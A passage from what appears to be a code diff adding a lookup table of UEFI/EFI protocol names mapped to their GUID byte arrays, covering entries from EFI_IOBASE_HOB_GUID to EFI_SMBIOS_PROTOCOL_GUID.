0x31, 0x14, 0xf1, 0xc4, 0x4, 0x1a, 0xe0], + 'EFI_IOBASE_HOB_GUID': [0xd4a28a3e, 0xdcf2, 0x43cf, 0xa2, 0xb7, 0xf3, 0x57, 0x2a, 0x7c, 0xab, 0x9], + 'EFI_IP4_CONFIG_PROTOCOL_GUID': [0x3b95aa31, 0x3793, 0x434b, 0x86, 0x67, 0xc8, 0x07, 0x08, 0x92, 0xe0, 0x5e], + 'EFI_IP4_PROTOCOL_GUID': [0x41d94cd2, 0x35b6, 0x455a, 0x82, 0x58, 0xd4, 0xe5, 0x13, 0x34, 0xaa, 0xdd], + 'EFI_IP4_SERVICE_BINDING_PROTOCOL_GUID': [0xc51711e7, 0xb4bf, 0x404a, 0xbf, 0xb8, 0x0a, 0x04, 0x8e, 0xf1, 0xff, 0xe4], + 'EFI_IP_PROTOCOL_GUID': [0x89DEEF37, 0x31D8, 0x469C, 0x95, 0xB6, 0x01, 0x69, 0xBC, 0x86, 0x6C, 0xFB], + 'EFI_ISA_ACPI_PROTOCOL_GUID': [0x64a892dc, 0x5561, 0x4536, 0x92, 0xc7, 0x79, 0x9b, 0xfc, 0x18, 0x33, 0x55], + 'EFI_ISA_IO_PROTOCOL_GUID': [0x7ee2bd44, 0x3da0, 0x11d4, 0x9a, 0x38, 0x0, 0x90, 0x27, 0x3f, 0xc1, 0x4d], + 'EFI_ISCSI_INITIATOR_NAME_PROTOCOL_GUID': [0x59324945, 0xec44, 0x4c0d, 0xb1, 0xcd, 0x9d, 0xb1, 0x39, 0xdf, 0x7, 0xc], + 'EFI_LEGACY_8259_PROTOCOL_GUID': [0x38321dba, 0x4fe0, 0x4e17, 0x8a, 0xec, 0x41, 0x30, 0x55, 0xea, 0xed, 0xc1], + 'EFI_LEGACY_BIOS_EXT_PROTOCOL_GUID': [0x8e008510, 0x9bb1, 0x457d, 0x9f, 0x70, 0x89, 0x7a, 0xba, 0x86, 0x5d, 0xb9], + 'EFI_LEGACY_BIOS_GUID': [0x2e3044ac, 0x879f, 0x490f, 0x97, 0x60, 0xbb, 0xdf, 0xaf, 0x69, 0x5f, 0x50], + 'EFI_LEGACY_BIOS_PLATFORM_PROTOCOL_GUID': [0x783658a3, 0x4172, 0x4421, 0xa2, 0x99, 0xe0, 0x9, 0x7, 0x9c, 0xc, 0xb4], + 'EFI_LEGACY_BIOS_PROTOCOL_GUID': [0xdb9a1e3d, 0x45cb, 0x4abb, 0x85, 0x3b, 0xe5, 0x38, 0x7f, 0xdb, 0x2e, 0x2d], + 'EFI_LEGACY_BIOS_THUNK_PROTOCOL_GUID': [0x4c51a7ba, 0x7195, 0x442d, 0x87, 0x92, 0xbe, 0xea, 0x6e, 0x2f, 0xf6, 0xec], + 'EFI_LEGACY_INTERRUPT_PROTOCOL_GUID': [0x31ce593d, 0x108a, 0x485d, 0xad, 0xb2, 0x78, 0xf2, 0x1f, 0x29, 0x66, 0xbe], + 'EFI_LEGACY_SREDIR_PROTOCOL_GUID': [0xA062CF1F, 0x8473, 0x4aa3, 0x87, 0x93, 0x60, 0x0B, 0xC4, 0xFF, 0xA9, 0xA9], + 'EFI_LIGHT_ISA_IO_PROTOCOL_GUID': [0x7cc7ed80, 0x9a68, 0x4781, 0x80, 0xe4, 0xda, 0x16, 0x99, 0x10, 0x5a, 0xfe], + 'EFI_LOADED_IMAGE_DEVICE_PATH_PROTOCOL_GUID': [0xbc62157e, 0x3e33, 0x4fec, 0x99, 0x20, 0x2d, 0x3b, 0x36, 0xd7, 0x50, 0xdf], + 'EFI_LOADED_IMAGE_PROTOCOL_GUID': [0x5B1B31A1, 0x9562, 0x11d2, 0x8E, 0x3F, 0x00, 0xA0, 0xC9, 0x69, 0x72, 0x3B], + 'EFI_LOAD_FILE2_PROTOCOL_GUID': [0x4006c0c1, 0xfcb3, 0x403e, 0x99, 0x6d, 0x4a, 0x6c, 0x87, 0x24, 0xe0, 0x6d], + 'EFI_MANAGED_NETWORK_PROTOCOL_GUID': [0x7ab33a91, 0xace5, 0x4326, 0xb5, 0x72, 0xe7, 0xee, 0x33, 0xd3, 0x9f, 0x16], + 'EFI_MANAGED_NETWORK_SERVICE_BINDING_PROTOCOL_GUID': [0xf36ff770, 0xa7e1, 0x42cf, 0x9e, 0xd2, 0x56, 0xf0, 0xf2, 0x71, 0xf4, 0x4c], + 'EFI_MEMORY_CONFIG_DATA_GUID': [0x80dbd530, 0xb74c, 0x4f11, 0x8c, 0x03, 0x41, 0x86, 0x65, 0x53, 0x28, 0x31], + 'EFI_MEMORY_PRODUCER_GUID': [0x1d7add6e, 0xb2da, 0x4b0b, 0xb2, 0x9f, 0x49, 0xcb, 0x42, 0xf4, 0x63, 0x56], + 'EFI_MEMORY_SUBCLASS_DRIVER_GUID': [0x1767CEED, 0xDB82, 0x47cd, 0xBF, 0x2B, 0x68, 0x45, 0x8A, 0x8C, 0xCF, 0xFF], + 'EFI_MEMORY_SUBCLASS_GUID': [0x4E8F4EBB, 0x64B9, 0x4e05, 0x9B, 0x18, 0x4C, 0xFE, 0x49, 0x23, 0x50, 0x97], + 'EFI_MEMORY_TYPE_FRU_GUID': [0xd50234f4, 0x6f4b, 0x43e8, 0xa0, 0x13, 0x3c, 0x1e, 0x33, 0xd9, 0xb9, 0xb1], + 'EFI_METRONOME_ARCH_PROTOCOL_GUID': [0x26baccb2, 0x6f42, 0x11d4, 0xbc, 0xe7, 0x0, 0x80, 0xc7, 0x3c, 0x88, 0x81], + 'EFI_ME_BIOS_EXTENSION_SETUP_GUID': [0x1bad711c, 0xd451, 0x4241, 0xb1, 0xf3, 0x85, 0x37, 0x81, 0x2e, 0xc, 0x70], + 'EFI_ME_FW_SKU_VARIABLE_GUID': [0xe1a21d94, 0x4a20, 0x4e0e, 0xae, 0x9, 0xa9, 0xa2, 0x1f, 0x24, 0xbb, 0x9e], + 'EFI_ME_RC_INFO_PROTOCOL_GUID': [0x11fbfdfb, 0x10d2, 0x43e6, 0xb5, 0xb1, 0xb4, 0x38, 0x6e, 0xdc, 0xcb, 0x9a], + 'EFI_MINI_SHELL_FILE_GUID': [0x86ad232b, 0xd33a, 0x465c, 0xbf, 0x5f, 0x41, 0x37, 0xb, 0xa9, 0x2f, 0xe2], + 'EFI_MISC_PRODUCER_GUID': [0x62512c92, 0x63c4, 0x4d80, 0x82, 0xb1, 0xc1, 0xa4, 0xdc, 0x44, 0x80, 0xe5], + 'EFI_MISC_SUBCLASS_DRIVER_GUID': [0xF50E702C, 0x8653, 0x4CDE, 0xBB, 0xCE, 0x43, 0xB4, 0xD5, 0x5B, 0x34, 0xB8], + 'EFI_MISC_SUBCLASS_GUID': [0x772484B2, 0x7482, 0x4b91, 0x9F, 0x9A, 0xAD, 0x43, 0xF8, 0x1C, 0x58, 0x81], + 'EFI_MONTONIC_COUNTER_ARCH_PROTOCOL_GUID': [0x1da97072, 0xbddc, 0x4b30, 0x99, 0xf1, 0x72, 0xa0, 0xb5, 0x6f, 0xff, 0x2a], + 'EFI_MPS_TABLE_GUID': [0xeb9d2d2f, 0x2d88, 0x11d3, 0x9a, 0x16, 0x0, 0x90, 0x27, 0x3f, 0xc1, 0x4d], + 'EFI_MP_SERVICES_PROTOCOL_GUID': [0x3fdda605, 0xa76e, 0x4f46, 0xad, 0x29, 0x12, 0xf4, 0x53, 0x1b, 0x3d, 0x08], + 'EFI_MP_SERVICES_PROTOCOL_GUID': [0xf33261e7, 0x23cb, 0x11d5, 0xbd, 0x5c, 0x0, 0x80, 0xc7, 0x3c, 0x88, 0x81], + 'EFI_MTFTP4_PROTOCOL_GUID': [0x78247c57, 0x63db, 0x4708, 0x99, 0xc2, 0xa8, 0xb4, 0xa9, 0xa6, 0x1f, 0x6b], + 'EFI_MTFTP4_SERVICE_BINDING_PROTOCOL_GUID': [0x2FE800BE, 0x8F01, 0x4aa6, 0x94, 0x6B, 0xD7, 0x13, 0x88, 0xE1, 0x83, 0x3F], + 'EFI_NB_ERROR_LOG_DISPATCH_PROTOCOL_GUID': [0xff2d54d4, 0x5c55, 0x4c06, 0x85, 0x49, 0xc3, 0x62, 0x7c, 0xb8, 0xb9, 0x95], + 'EFI_NB_MRC_INFO_GUID': [0xd7bd52b0, 0xb2dc, 0x4f08, 0xb4, 0x67, 0xde, 0x50, 0xd7, 0x28, 0xf6, 0xbd], + 'EFI_NETWORK_INTERFACE_IDENTIFIER_PROTOCOL_GUID': [0x1ACED566, 0x76ED, 0x4218, 0xBC, 0x81, 0x76, 0x7F, 0x1F, 0x97, 0x7A, 0x89], + 'EFI_NETWORK_INTERFACE_IDENTIFIER_PROTOCOL_GUID': [0xE18541CD, 0xF755, 0x4f73, 0x92, 0x8D, 0x64, 0x3C, 0x8A, 0x79, 0xB2, 0x29], + 'EFI_NIC_IP4_CONFIG_PROTOCOL_GUID': [0xdca3d4d, 0x12da, 0x4728, 0xbf, 0x7e, 0x86, 0xce, 0xb9, 0x28, 0xd0, 0x67], + 'EFI_NIC_IP4_CONFIG_VARIABLE_GUID': [0xd8944553, 0xc4dd, 0x41f4, 0x9b, 0x30, 0xe1, 0x39, 0x7c, 0xfb, 0x26, 0x7b], + 'EFI_NONSMMEMUL6064TRAP_PROTOCOL_GUID': [0x68b81e51, 0x2583, 0x4582, 0x95, 0xdb, 0xc5, 0x72, 0x32, 0x36, 0xc4, 0xf1], + 'EFI_OEM_BADGING_PROTOCOL_GUID': [0x170e13c0, 0xbf1b, 0x4218, 0x87, 0x1d, 0x2a, 0xbd, 0xc6, 0xf8, 0x87, 0xbc], + 'EFI_PART_TYPE_EFI_SYSTEM_PART_GUID': [0xc12a7328, 0xf81f, 0x11d2, 0xba, 0x4b, 0x00, 0xa0, 0xc9, 0x3e, 0xc9, 0x3b], + 'EFI_PART_TYPE_LEGACY_MBR_GUID': [0x024dee41, 0x33e7, 0x11d3, 0x9d, 0x69, 0x00, 0x08, 0xc7, 0x81, 0xf3, 0x9f], + 'EFI_PATH_FILE_NAME_GUID': [0x7644C181, 0xFA6E, 0x46DA, 0x80, 0xCB, 0x04, 0xB9, 0x90, 0x40, 0x62, 0xE8], + 'EFI_PCCARD_CS_PROTOCOL_GUID': [0xca54f443, 0x1ef2, 0x4dab, 0x9e, 0x7e, 0x6d, 0xb7, 0xb7, 0x20, 0xb5, 0x87], + 'EFI_PCCARD_SS_PROTOCOL_GUID': [0xc38e6d34, 0x5a7f, 0x4bf9, 0xbe, 0x57, 0x94, 0xdd, 0x30, 0x38, 0x02, 0x76], + 'EFI_PCH_INFO_PROTOCOL_GUID': [0x984eb4e9, 0x5a95, 0x41de, 0xaa, 0xd0, 0x53, 0x66, 0x8c, 0xa5, 0x13, 0xc0], + 'EFI_PCH_S3_IMAGE_GUID': [0x271dd6f2, 0x54cb, 0x45e6, 0x85, 0x85, 0x8c, 0x92, 0x3c, 0x1a, 0xc7, 0x6], + 'EFI_PCH_S3_SUPPORT_PROTOCOL_GUID': [0xe287d20b, 0xd897, 0x4e1e, 0xa5, 0xd9, 0x97, 0x77, 0x63, 0x93, 0x6a, 0x4], + 'EFI_PCI_EXPRESS_BASE_ADDRESS_GUID': [0x3677d529, 0x326f, 0x4603, 0xa9, 0x26, 0xea, 0xac, 0xe0, 0x1d, 0xcb, 0xb0], + 'EFI_PCI_HOTPLUG_DEVICE_GUID': [0x0b280816, 0x52e7, 0x4e51, 0xaa, 0x57, 0x11, 0xbd, 0x41, 0xcb, 0xef, 0xc3], + 'EFI_PCI_HOT_PLUG_INIT_PROTOCOL_GUID': [0xaa0e8bc1, 0xdabc, 0x46b0, 0xa8, 0x44, 0x37, 0xb8, 0x16, 0x9b, 0x2b, 0xea], + 'EFI_PCI_IO_PROTOCOL_GUID': [0x4cf5b200, 0x68b8, 0x4ca5, 0x9e, 0xec, 0xb2, 0x3e, 0x3f, 0x50, 0x2, 0x9a], + 'EFI_PCI_OPTION_ROM_TABLE_GUID': [0x7462660f, 0x1cbd, 0x48da, 0xad, 0x11, 0x91, 0x71, 0x79, 0x13, 0x83, 0x1c], + 'EFI_PCI_PLATFORM_PROTOCOL_GUID': [0x7d75280, 0x27d4, 0x4d69, 0x90, 0xd0, 0x56, 0x43, 0xe2, 0x38, 0xb3, 0x41], + 'EFI_PCI_ROOT_BRIDGE_IO_PROTOCOL_GUID': [0x2f707ebb, 0x4a1a, 0x11d4, 0x9a, 0x38, 0x00, 0x90, 0x27, 0x3f, 0xc1, 0x4d], + 'EFI_PCMCIA_REQUEST_PROTOCOL_GUID': [0xf238f47c, 0x1de9, 0x4e8b, 0x81, 0xb9, 0xcc, 0x92, 0x4e, 0x6b, 0x5b, 0xe5], + 'EFI_PC_ANSI_GUID': [0xe0c14753, 0xf9be, 0x11d2, 0x9a, 0x0c, 0x00, 0x90, 0x27, 0x3f, 0xc1, 0x4d], + 'EFI_PEI_AMI_KEYCODE_PPI_GUID': [0x20b0f1c2, 0xb0d8, 0x4c5d, 0xaa, 0xd9, 0xf4, 0x45, 0x80, 0xdf, 0xdf, 0x8b], + 'EFI_PEI_APRIORI_FILE_NAME_GUID': [0x1b45cc0a, 0x156a, 0x428a, 0xaf, 0x62, 0x49, 0x86, 0x4d, 0xa0, 0xe6, 0xe6], + 'EFI_PEI_CAPSULE_PPI_GUID': [0x66785b1, 0xedb8, 0x46dc, 0x84, 0x2f, 0x57, 0x44, 0x4, 0xb8, 0x69, 0x2f], + 'EFI_PEI_CMOS_ACCESS_GUID': [0xccbf2786, 0xcd6c, 0x4308, 0xbd, 0xfa, 0x62, 0x58, 0x70, 0xce, 0xbf, 0x81], + 'EFI_PEI_CONSPLIT_AMI_KEYCODE_PPI_GUID': [0x73ddb5e1, 0x5fb4, 0x4751, 0xaf, 0x1e, 0x83, 0xcf, 0x75, 0xbe, 0xcb, 0xb6], + 'EFI_PEI_CORE_PRIVATE_GUID': [0xd641a0f5, 0xcb7c, 0x4846, 0xa3, 0x80, 0x1d, 0x01, 0xb4, 0xd9, 0xe3, 0xb9], + 'EFI_PEI_CPU_IO_PPI_INSTALLED_GUID': [0xe6af1f7b, 0xfc3f, 0x46da, 0xa8, 0x28, 0xa3, 0xb4, 0x57, 0xa4, 0x42, 0x82], + 'EFI_PEI_DECOMPRESS_PPI_GUID': [0x1a36e4e7, 0xfab6, 0x476a, 0x8e, 0x75, 0x69, 0x5a, 0x5, 0x76, 0xfd, 0xd7], + 'EFI_PEI_DEVICE_RECOVERY_MODULE_PPI_GUID': [0x0DE2CE25, 0x446A, 0x45a7, 0xBF, 0xC9, 0x37, 0xDA, 0x26, 0x34, 0x4B, 0x37], + 'EFI_PEI_END_OF_PEI_PHASE_PPI_GUID': [0x605EA650, 0xC65C, 0x42e1, 0xBA, 0x80, 0x91, 0xA5, 0x2A, 0xB6, 0x18, 0xC6], + 'EFI_PEI_FIRMWARE_VOLUME_INFO_PPI_GUID': [0x49edb1c1, 0xbf21, 0x4761, 0xbb, 0x12, 0xeb, 0x0, 0x31, 0xaa, 0xbb, 0x39], + 'EFI_PEI_FLUSH_INSTRUCTION_CACHE_GUID': [0xd8117cfc, 0x94a6, 0x11d4, 0x9a, 0x3a, 0x0, 0x90, 0x27, 0x3f, 0xc1, 0x4d], + 'EFI_PEI_LOADED_IMAGE_PPI_GUID': [0xa62a3fff, 0x97f0, 0x4332, 0x8c, 0xfd, 0x1e, 0x34, 0x3d, 0x36, 0x31, 0xf2], + 'EFI_PEI_LOADED_IMAGE_PPI_GUID': [0xc1fcd448, 0x6300, 0x4458, 0xb8, 0x64, 0x28, 0xdf, 0x01, 0x53, 0x64, 0xbc], + 'EFI_PEI_LOAD_FILE_GUID': [0xb9e0abfe, 0x5979, 0x4914, 0x97, 0x7f, 0x6d, 0xee, 0x78, 0xc2, 0x78, 0xa6], + 'EFI_PEI_LOAD_FILE_PPI_GUID': [0xb9e0abfe, 0x5979, 0x4914, 0x97, 0x7f, 0x6d, 0xee, 0x78, 0xc2, 0x78, 0xa6], + 'EFI_PEI_PCI_CFG2_PPI_GUID': [0x57a449a, 0x1fdc, 0x4c06, 0xbf, 0xc9, 0xf5, 0x3f, 0x6a, 0x99, 0xbb, 0x92], + 'EFI_PEI_PCI_CFG2_PPI_GUID': [0xe1f2eba0, 0xf7b9, 0x4a26, 0x86, 0x20, 0x13, 0x12, 0x21, 0x64, 0x2a, 0x90], + 'EFI_PEI_PCI_CFG_PPI_INSTALLED_GUID': [0xe1f2eba0, 0xf7b9, 0x4a26, 0x86, 0x20, 0x13, 0x12, 0x21, 0x64, 0x2a, 0x90], + 'EFI_PEI_PERFORMANCE_HOB_GUID': [0x10f432de, 0xdeec, 0x4631, 0x80, 0xcd, 0x47, 0xf6, 0x5d, 0x8f, 0x80, 0xbb], + 'EFI_PEI_PE_COFF_LOADER_GUID': [0xd8117cff, 0x94a6, 0x11d4, 0x9a, 0x3a, 0x0, 0x90, 0x27, 0x3f, 0xc1, 0x4d], + 'EFI_PEI_PLATFORMPEI_EXECUTED_PPI_GUID': [0x8C72C36E, 0xDACC, 0x4E81, 0x8D, 0x60, 0xFF, 0xA6, 0x1D, 0x88, 0xFF, 0x54], + 'EFI_PEI_READ_ONLY_VARIABLE2_PPI_GUID': [0x2ab86ef5, 0xecb5, 0x4134, 0xb5, 0x56, 0x38, 0x54, 0xca, 0x1f, 0xe1, 0xb4], + 'EFI_PEI_READ_ONLY_VARIABLE_PPI_GUID': [0x3cdc90c6, 0x13fb, 0x4a75, 0x9e, 0x79, 0x59, 0xe9, 0xdd, 0x78, 0xb9, 0xfa], + 'EFI_PEI_RECOVERY_MODULE_PPI_GUID': [0xFB6D9542, 0x612D, 0x4f45, 0x87, 0x2F, 0x5C, 0xFF, 0x52, 0xE9, 0x3D, 0xCF], + 'EFI_PEI_REPORT_PROGRESS_CODE_PPI_GUID': [0x229832d3, 0x7a30, 0x4b36, 0xb8, 0x27, 0xf4, 0xc, 0xb7, 0xd4, 0x54, 0x36], + 'EFI_PEI_RESET_PPI_GUID': [0xef398d58, 0x9dfd, 0x4103, 0xbf, 0x94, 0x78, 0xc6, 0xf4, 0xfe, 0x71, 0x2f], + 'EFI_PEI_RSC_HANDLER_PPI_GUID': [0x65d394, 0x9951, 0x4144, 0x82, 0xa3, 0xa, 0xfc, 0x85, 0x79, 0xc2, 0x51], + 'EFI_PEI_S3_RESUME2_PPI_GUID': [0x6D582DBC, 0xDB85, 0x4514, 0x8F, 0xCC, 0x5A, 0xDF, 0x62, 0x27, 0xB1, 0x47], + 'EFI_PEI_SECTION_EXTRACTION_PPI_GUID': [0x4F89E208, 0xE144, 0x4804, 0x9E, 0xC8, 0x0F, 0x89, 0x4F, 0x7E, 0x36, 0xD7], + 'EFI_PEI_SECURITY2_PPI_GUID': [0xdcd0be23, 0x9586, 0x40f4, 0xb6, 0x43, 0x6, 0x52, 0x2c, 0xed, 0x4e, 0xde], + 'EFI_PEI_STALL_PPI_GUID': [0x1f4c6f90, 0xb06b, 0x48d8, 0xa2, 0x01, 0xba, 0xe5, 0xf1, 0xcd, 0x7d, 0x56], + 'EFI_PEI_TEMPORARY_RAM_SUPPORT_PPI_GUID': [0xdbe23aa9, 0xa345, 0x4b97, 0x85, 0xb6, 0xb2, 0x26, 0xf1, 0x61, 0x73, 0x89], + 'EFI_PEI_TRANSFER_CONTROL_GUID': [0xd8117d02, 0x94a6, 0x11d4, 0x9a, 0x3a, 0x0, 0x90, 0x27, 0x3f, 0xc1, 0x4d], + 'EFI_PERFORMANCE_PROTOCOL_GUID': [0xFFECFFFF, 0x923C, 0x14d2, 0x9E, 0x3F, 0x22, 0xA0, 0xC9, 0x69, 0x56, 0x3B], + 'EFI_PI_MP_SERVICES_PROTOCOL_GUID': [0x3fdda605, 0xa76e, 0x4f46, 0xad, 0x29, 0x12, 0xf4, 0x53, 0x1b, 0x3d, 0x08], + 'EFI_PLATFORM_DRIVER_OVERRIDE_PROTOCOL_GUID': [0x6b30c738, 0xa391, 0x11d4, 0x9a, 0x3b, 0x00, 0x90, 0x27, 0x3f, 0xc1, 0x4d], + 'EFI_PLATFORM_GOP_POLICY_PROTOCOL_GUID': [0xec2e931b, 0x3281, 0x48a5, 0x81, 0x7, 0xdf, 0x8a, 0x8b, 0xed, 0x3c, 0x5d], + 'EFI_PLATFORM_INFO_PROTOCOL_GUID': [0xd9035175, 0x8ce2, 0x47de, 0xa8, 0xb8, 0xcc, 0x98, 0xe5, 0xe2, 0xa8, 0x85], + 'EFI_PLATFORM_MEMTEST_PROTOCOL_GUID': [0x859ba18, 0x7dd7, 0x4ed7, 0xa8, 0x8e, 0x10, 0x9c, 0x63, 0x91, 0x7b, 0xdd], + 'EFI_PLATFORM_TO_DRIVER_CONFIGURATION_CLP_GUID': [0x345ecc0e, 0x0cb6, 0x4b75, 0xbb, 0x57, 0x1b, 0x12, 0x9c, 0x47, 0x33, 0x3e], + 'EFI_PLATFORM_TO_DRIVER_CONFIGURATION_PROTOCOL_GUID': [0x642cd590, 0x8059, 0x4c0a, 0xa9, 0x58, 0xc5, 0xec, 0x07, 0xd2, 0x3c, 0x4b], + 'EFI_PLATFORM_TO_DRIVER_CONFIGURATION_PROTOCOL_GUID': [0x642cd590, 0x8059, 0x4c0a, 0xa9, 0x58, 0xc5, 0xec, 0x7, 0xd2, 0x3c, 0x4b], + 'EFI_POWER_ON_HOB_GUID': [0x468a601, 0xc535, 0x46fd, 0xa9, 0x5d, 0xbb, 0xab, 0x99, 0x1b, 0x17, 0x8c], + 'EFI_PPM_GLOBAL_NVS_AREA_PROTOCOL_GUID': [0x6c50cdcb, 0x7f46, 0x4dcc, 0x8d, 0xdd, 0xd9, 0xf0, 0xa3, 0xc6, 0x11, 0x28], + 'EFI_PPM_INFO_PROTOCOL_GUID': [0xd71db106, 0xe32d, 0x4225, 0xbf, 0xf4, 0xde, 0x6d, 0x77, 0x87, 0x17, 0x61], + 'EFI_PRIMARY_CONSOLE_IN_DEVICE_GUID': [0xe451dcbe, 0x96a1, 0x4729, 0xa5, 0xcf, 0x6b, 0x9c, 0x2c, 0xff, 0x47, 0xfd], + 'EFI_PRIMARY_CONSOLE_OUT_DEVICE_GUID': [0x62bdf38a, 0xe3d5, 0x492c, 0x95, 0xc, 0x23, 0xa7, 0xf6, 0x6e, 0x67, 0x2e], + 'EFI_PRIMARY_STANDARD_ERROR_DEVICE_GUID': [0x5a68191b, 0x9b97, 0x4752, 0x99, 0x46, 0xe3, 0x6a, 0x5d, 0xa9, 0x42, 0xb1], + 'EFI_PRINT_PROTOCOL_GUID': [0xdf2d868e, 0x32fc, 0x4cf0, 0x8e, 0x6b, 0xff, 0xd9, 0x5d, 0x13, 0x43, 0xd0], + 'EFI_PROCESSOR_PRODUCER_GUID': [0x1bf06aea, 0x5bec, 0x4a8d, 0x95, 0x76, 0x74, 0x9b, 0x09, 0x56, 0x2d, 0x30], + 'EFI_PROCESSOR_SUBCLASS_GUID': [0x26fdeb7e, 0xb8af, 0x4ccf, 0xaa, 0x97, 0x02, 0x63, 0x3c, 0xe4, 0x8c, 0xa7], + 'EFI_PS2_POLICY_PROTOCOL_GUID': [0x4df19259, 0xdc71, 0x4d46, 0xbe, 0xf1, 0x35, 0x7b, 0xb5, 0x78, 0xc4, 0x18], + 'EFI_PXE_BASE_CODE_CALLBACK_PROTOCOL_GUID': [0x245dca21, 0xfb7b, 0x11d3, 0x8f, 0x01, 0x00, 0xa0, 0xc9, 0x69, 0x72, 0x3b], + 'EFI_PXE_BASE_CODE_PROTOCOL_GUID': [0x03c4e603, 0xac28, 0x11d3, 0x9a, 0x2d, 0x00, 0x90, 0x27, 0x3f, 0xc1, 0x4d], + 'EFI_PXE_DHCP4_CALLBACK_PROTOCOL_GUID': [0xc1544c01, 0x92a4, 0x4198, 0x8a, 0x84, 0x77, 0x85, 0x83, 0xc2, 0x36, 0x21], + 'EFI_PXE_DHCP4_PROTOCOL_GUID': [0x03c4e624, 0xac28, 0x11d3, 0x9a, 0x2d, 0x00, 0x90, 0x29, 0x3f, 0xc1, 0x4d], + 'EFI_REAL_TIME_CLOCK_ARCH_PROTOCOL_GUID': [0x27CFAC87, 0x46CC, 0x11d4, 0x9A, 0x38, 0x00, 0x90, 0x27, 0x3F, 0xC1, 0x4D], + 'EFI_RESET_ARCH_PROTOCOL_GUID': [0x27CFAC88, 0x46CC, 0x11D4, 0x9A, 0x38, 0x00, 0x90, 0x27, 0x3F, 0xC1, 0x4D], + 'EFI_RESET_ARCH_PROTOCOL_GUID': [0x27CFAC88, 0x46CC, 0x11d4, 0x9A, 0x38, 0x00, 0x90, 0x27, 0x3F, 0xC1, 0x4D], + 'EFI_S3_SAVE_STATE_PROTOCOL_GUID': [0xe857caf6, 0xc046, 0x45dc, 0xbe, 0x3f, 0xee, 0x7, 0x65, 0xfb, 0xa8, 0x87], + 'EFI_S3_SMM_SAVE_STATE_PROTOCOL_GUID': [0x320afe62, 0xe593, 0x49cb, 0xa9, 0xf1, 0xd4, 0xc2, 0xf4, 0xaf, 0x1, 0x4c], + 'EFI_SAL_SYSTEM_TABLE_GUID': [0xeb9d2d32, 0x2d88, 0x11d3, 0x9a, 0x16, 0x0, 0x90, 0x27, 0x3f, 0xc1, 0x4d], + 'EFI_SA_INFO_PROTOCOL_GUID': [0x493b5bac, 0xbb9e, 0x4bf5, 0x83, 0x79, 0x20, 0xe2, 0xac, 0xa9, 0x85, 0x41], + 'EFI_SB_PCIE_ERROR_LOG_DISPATCH_PROTOCOL_GUID': [0xf281fc6e, 0xf4c4, 0x431c, 0x96, 0x2b, 0x2f, 0x13, 0xae, 0x79, 0x84, 0xec], + 'EFI_SCSI_IO_PROTOCOL_GUID': [0x932f47e6, 0x2362, 0x4002, 0x80, 0x3e, 0x3c, 0xd5, 0x4b, 0x13, 0x8f, 0x85], + 'EFI_SCSI_PASS_THRU_PROTOCOL_GUID': [0xa59e8fcf, 0xbda0, 0x43bb, 0x90, 0xb1, 0xd3, 0x73, 0x2e, 0xca, 0xa8, 0x77], + 'EFI_SECTION_EXTRACTION_PROTOCOL_GUID': [0x448F5DA4, 0x6DD7, 0x4FE1, 0x93, 0x07, 0x69, 0x22, 0x41, 0x92, 0x21, 0x5D], + 'EFI_SECURITY_ARCH_PROTOCOL_GUID': [0xA46423E3, 0x4617, 0x49f1, 0xB9, 0xFF, 0xD1, 0xBF, 0xA9, 0x11, 0x58, 0x39], + 'EFI_SECURITY_POLICY_PROTOCOL_GUID': [0x78E4D245, 0xCD4D, 0x4a05, 0xA2, 0xBA, 0x47, 0x43, 0xE8, 0x6C, 0xFC, 0xAB], + 'EFI_SEC_PLATFORM_INFORMATION_GUID': [0x6f8c2b35, 0xfef4, 0x448d, 0x82, 0x56, 0xe1, 0x1b, 0x19, 0xd6, 0x10, 0x77], + 'EFI_SEC_SMI_FLASH_GUID': [0x3bf4af16, 0xab7c, 0x4b43, 0x89, 0x8d, 0xab, 0x26, 0xac, 0x5d, 0xdc, 0x6c], + 'EFI_SERIAL_GPIO_PROTOCOL_GUID': [0xf52c3858, 0x5ef8, 0x4d41, 0x83, 0x4e, 0xc3, 0x9e, 0xef, 0x8a, 0x45, 0xa3], + 'EFI_SERIAL_IO_PROTOCOL_GUID': [0xBB25CF6F, 0xF1D4, 0x11D2, 0x9A, 0x0C, 0x00, 0x90, 0x27, 0x3F, 0xC1, 0xFD], + 'EFI_SHELL_FILE_GUID': [0xc57ad6b7, 0x0515, 0x40a8, 0x9d, 0x21, 0x55, 0x16, 0x52, 0x85, 0x4e, 0x37], + 'EFI_SIMPLE_AUDIO_OUT_PROTOCOL_GUID': [0xc723f288, 0x52f9, 0x4d80, 0xb6, 0x33, 0xe1, 0x52, 0xf9, 0x30, 0xa0, 0xdc], + 'EFI_SIMPLE_FILE_SYSTEM_PROTOCOL_GUID': [0x964e5b22, 0x6459, 0x11d2, 0x8e, 0x39, 0x0, 0xa0, 0xc9, 0x69, 0x72, 0x3b], + 'EFI_SIMPLE_NETWORK_PROTOCOL_GUID': [0xA19832B9, 0xAC25, 0x11D3, 0x9A, 0x2D, 0x00, 0x90, 0x27, 0x3F, 0xC1, 0x4D], + 'EFI_SIMPLE_TEXT_INPUT_EX_PROTOCOL_GUID': [0xdd9e7534, 0x7762, 0x4698, 0x8c, 0x14, 0xf5, 0x85, 0x17, 0xa6, 0x25, 0xaa], + 'EFI_SIMPLE_TEXT_INPUT_PROTOCOL_GUID': [0x387477c1, 0x69c7, 0x11d2, 0x8e, 0x39, 0x0, 0xa0, 0xc9, 0x69, 0x72, 0x3b], + 'EFI_SIMPLE_TEXT_IN_PROTOCOL_GUID': [0x387477c1, 0x69c7, 0x11d2, 0x8e, 0x39, 0x0, 0xa0, 0xc9, 0x69, 0x72, 0x3b], + 'EFI_SIMPLE_TEXT_OUT_PROTOCOL_GUID': [0x387477c2, 0x69c7, 0x11d2, 0x8e, 0x39, 0x0, 0xa0, 0xc9, 0x69, 0x72, 0x3b], + 'EFI_SIO_PROTOCOL_GUID': [0x215fdd18, 0xbd50, 0x4feb, 0x89, 0xb, 0x58, 0xca, 0xb, 0x47, 0x39, 0xe9], + 'EFI_SMBIOS_BOARD_PROTOCOL_GUID': [0x903dd14, 0x2ca0, 0x458a, 0xb5, 0xeb, 0xc, 0xc, 0xa3, 0xd, 0x78, 0x5c], + 'EFI_SMBIOS_DYNAMIC_DATA_GUID': [0xe380280c, 0x4c35, 0x4aa3, 0xb9, 0x61, 0x7a, 0xe4, 0x89, 0xa2, 0xb9, 0x26], + 'EFI_SMBIOS_NVRAM_DATA_GUID': [0x4b3082a3, 0x80c6, 0x4d7e, 0x9c, 0xd0, 0x58, 0x39, 0x17, 0x26, 0x5d, 0xf1], + 'EFI_SMBIOS_PROTOCOL_GUID': [0x03583ff6, 0xcb36, 0x4940, 